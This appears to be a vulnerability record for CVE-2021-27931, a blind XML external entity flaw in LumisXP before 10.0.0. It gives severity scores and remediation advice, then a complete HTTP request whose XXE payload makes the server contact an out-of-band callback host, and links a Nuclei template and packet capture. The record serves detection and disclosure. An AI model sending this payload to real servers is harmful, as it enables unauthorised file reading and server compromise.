| Title | LumisXP <10.0.0 - Blind XML External Entity Attack |
|---|---|
| Author | alph4byt3 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems. |
| Remediation | Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability. |
| CVSS Score | 9.1 |
| EPSS Score | 0.91224 |
| CVE ID | CVE-2021-27931 |
| CWE ID | CWE-611 |
| Tags | cve2021 cve lumis xxe oast blind vkev vuln |
LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Length: 187
Accept-Encoding: gzip
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY xxe SYSTEM "http://d5jnm7ple0o3lr5e2kn0zhbxyyht3ecm6.oast.site">
]>
<method name="addPage">
<id>&xxe;</id>
</method>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27931.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27931.pcap
N/AN/A